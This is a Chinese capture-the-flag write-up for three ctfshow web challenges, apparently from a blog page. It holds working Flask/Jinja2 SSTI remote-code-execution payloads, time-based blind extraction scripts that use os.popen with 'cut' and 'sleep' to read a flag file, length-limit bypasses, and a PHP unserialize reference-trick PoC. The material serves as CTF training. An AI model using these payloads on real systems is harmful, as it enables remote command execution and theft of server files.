[ctfshow]击剑杯 web

简介: [ctfshow]击剑杯 web

近在眼前

#!/usr/bin/env python3
from flask import Flask, render_template_string, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["10000 per hour"]
)
@limiter.limit("5/second", override_defaults=True)
@app.route('/')
def index():
    return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read()
//<pre><code>%s</code></pre>
@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
    flag = open("/app/flag.txt", 'r').read().strip()
    if "input" in request.args:
        query = request.args["input"]
        render_template_string(query)
        return "Thank you for your input."
    return "No input found."
app.run('0.0.0.0', 80)

ssti盲注,过滤了的会报500 Internal Server Error

之前用到的ssti盲注脚本

import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
//abcdefghijklmnopqrstuvwxyz0123456789-_{}
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break

这里需要修改payload为

if [ `cut -c 1 /c.txt` = "c" ];then sleep 2;fi

cut命令可以从一个文本文件或者文本流中提取文本列。

-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。

-c :以字符为单位进行分割。

-d :自定义分隔符,默认为制表符。

-f :与-d一起使用,指定显示哪个区域。

-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的

范围之内,该字符将被写出;否则,该字符将被排除

ssti盲注脚本

import string
import requests as req
import time
char_set = string.ascii_lowercase+string.digits+'-_{}'
sess = req.session()
flag = {}
for i in range(1, 46):
    for c in char_set:
        url = r"""http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input=
        {{ config.__class__.__init__.__globals__['os'].popen('if [ `cut -c %d  /app/flag.txt` = "%s" ];then sleep 1;fi').read() }}
        """ % (i, c)
        time.sleep(0.2)
        resp = sess.get(url)
        if resp.elapsed.seconds >= 1:
            print(c, end='')
            flag[i] = c
print(flag)
import string
import time
import requests
_url = 'http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input='
_payload_1 ="{%25 set flag=config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()%25}{%25 set sleep=config.__class__.__init__.__globals__['os'].popen('sleep 1')%25}{%25if '"
_payload_2 = "' in flag%25}{{sleep.read()}}{%25endif%25}"
r = requests.session()
charset = string.ascii_lowercase+string.digits+'-_{}'
data = ''
content = 'ctfshow{'
for _ in range(50):
    for i in charset:
        time.sleep(0.2)
        data = content + i
        url = _url + _payload_1 + data + _payload_2
        try:
            r.get(url=url, timeout=(1, 1))
        except Exception as e:
            content = data
            print(content)
            break
print(data)
# ctfshow{64915f1e-57be-4434-8994-d0f555e677f8}

给我看看

  1. $you_never_know是编码后的随机数,考点是&引用
  2. 利用extract($_POST);覆盖变量
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");
class whoami{
    public $name;
    public $your_answer;
    public $useless;
    public function __construct(){
        $this->name='ctfshow第一深情';
        $this->your_answer='Only you know';
        $this->useless="I_love_u";
    }
    public function __wakeup(){
        global $flag;
        global $you_never_know;
        $this->name=$you_never_know;
        if($this->your_answer === $this->name){
            echo $flag;
        }
    }
}
$secret = $_GET['s'];
if(isset($secret)){
    if($secret==="给我看看!"){
        extract($_POST);
        if($secret==="给我看看!"){    
            die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
        }
        unserialize($secret);
    }
}else{
    show_source(__FILE__);
}

指针取地址方式

<?php
$a="coleak";
$b=&$a;
$c=$a;
$a="cc";
echo $b.PHP_EOL;
echo $c;
?>

cc

coleak

php的引用(就是在变量或者函数、对象等前面加上&符号)

在PHP 中引用的意思是:不同的名字访问同一个变量内容。

被引用的两者之间没有任何区别,它们都使用了同一个变量容器。 将这两者分开的唯一方法是使用 unset() 函数销毁其中任何一个变量。

<?php
$a = 11;
$b =& $a;
unset ($a);
$a++;
echo $a.PHP_EOL;
echo $b;
?>

1

11

poc

<?php
class whoami{
    public $name;
    public $your_answer;
    public $useless;
}
$a=new whoami();
$a->name=&$a->your_answer;
echo serialize($a).PHP_EOL;
//$this->your_answer === $this->name
?>

?s=给我看看!

secret=O:6:“whoami”:3:{s:4:“name”;N;s:11:“your_answer”;R:2;s:7:“useless”;N;}

通关大佬

这里本地搭建个ssti靶场

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/ssti')
def check():
    query = request.args["input"]
    return render_template_string(query)
if __name__ == '__main__':
    app.run()

在py3下执行命令的最短方式为

ssti?input={{config.__init__.__globals__.os.popen('ipconfig').read()}}

hint

据说输入框能连起来的
<!-- /ssti.html -->
@app.route('/madlib', methods=['POST'])
def madlib():
    if len(request.json) == 5:
        verb = request.json.get('verb')
        noun = request.json.get('noun')
        adjective = request.json.get('adjective')
        person = request.json.get('person')
        place = request.json.get('place')
        params = [verb, noun, adjective, person, place]
        if any(len(i) > 21 for i in params):
            return 'your words must not be longer than 21 characters!', 403
        madlib = f'To find out what this is you must {verb} the internet then get to the {noun} system through the visual MAC hard drive and program the open-source but overriding the bus won\'t do anything so you need to parse the online SSD transmitter, then index the neural DHCP card {adjective}.{person} taught me this trick when we met in {place} allowing you to download the knowledge of what this is directly to your brain.'
        return render_template_string(madlib)
    return 'This madlib only takes five words', 403

{adjective}.{person}这里连着的,一起的长度可以达到42,其余位置的长度最多为21

脚本如下

脚本1

import requests
import re
url = 'http://05fcf52c-632f-487e-8bff-f9bb5615b387.challenge.ctf.show/madlib'
payload ={"verb": ["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"], "noun": "a","adjective": "a", "person": "a", "place": "a"}
r = requests.post(url, json=payload)
flag=r.text
# flag = re.findall('ctfshow{.*}', r.text)[0]
print(flag)

利用[]绕过长度限制,如下

a=["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"]
noun='a'
adjective='a'
person='a'
place='a'
params = [a, noun, adjective, person, place]
# if any(len(i) > 21 for i in params):
#         print(1)
for i in params:
        print(len(i))
#1 1 1 1 1

脚本2

import requests
import re
url="http://6c9c5244-868c-4959-9ac0-f5081dcaabba.challenge.ctf.show/madlib"
payload = {
    "verb":"{%set x=config%}",
    "noun":"{%set x=x.__init__%}",
    "adjective":"{%set x=x.__globals__",
    "person":"os.popen('cat fl*')%}",
    "place":"{{x.read()}}"
}
r = requests.post(url,json=payload)
print(r.text)
flag = re.findall(r'ctfshow{.*}',r.text)[0]
print(flag)
#{{config.__init__.__globals__.os.popen('ipconfig').read()}}


目录
相关文章
|
28天前
|
域名解析 Linux PHP
[CTF]ctfshow web入门
[CTF]ctfshow web入门
|
4月前
|
Linux C语言 C++
【ctfshow】命令执行->web45-57
【ctfshow】命令执行->web45-57
54 0
|
9月前
|
安全 前端开发 PHP
ctfshow吃瓜杯 web
ctfshow吃瓜杯 web
70 0
|
域名解析 负载均衡 安全
信息收集-(ctfshow web入门-信息收集)
浅浅分享一下信息收集的相关知识点,并借助了ctfshow平台上的题目相解析。
127 1
信息收集-(ctfshow web入门-信息收集)
|
数据库连接 PHP 数据安全/隐私保护
ctfshow之web(9、10、11、12)
ctfshow之web(9、10、11、12)
129 0
ctfshow之web(9、10、11、12)
|
安全 PHP
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru()
222 0
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
ctfshow web7
ctfshow web7 wp
131 0
ctfshow web7
|
数据安全/隐私保护
ctfshow WEB web5 MD5弱类型
知识点:md5弱类型
102 0
|
安全 PHP
ctfshow-萌新-web14( 曲线救国-POST请求绕过获取网站敏感信息)
ctf.show 萌新模块 web14关, 此关卡是一个代码执行漏洞, 重点在于命令执行函数的利用方式, 源码中过滤比较严格, 尤其是过滤了分号;之后, 虽然可以用?>来代替分号, 但这样一来就只能执行一行代码, 难度较大, 需要注意的是, 源码中的过滤只针对GET请求的参数, 而未对POST请求的参数做限制, 这里推荐曲线救国, GET请求传递一句话木马, 然后在POST请求中传递参数执行系统命令, 从而获取 flag
306 0
ctfshow-萌新-web14( 曲线救国-POST请求绕过获取网站敏感信息)
|
安全 PHP 数据安全/隐私保护
ctfshow-萌新-web12( 利用命令执行函数获取网站敏感信息)
ctf.show 萌新模块 web12关, 这一关考察的是代码执行漏洞的利用, 重点在于命令执行函数的利用方式, 推荐使用反引号(``) 或者 base64加密绕过
369 0
ctfshow-萌新-web12( 利用命令执行函数获取网站敏感信息)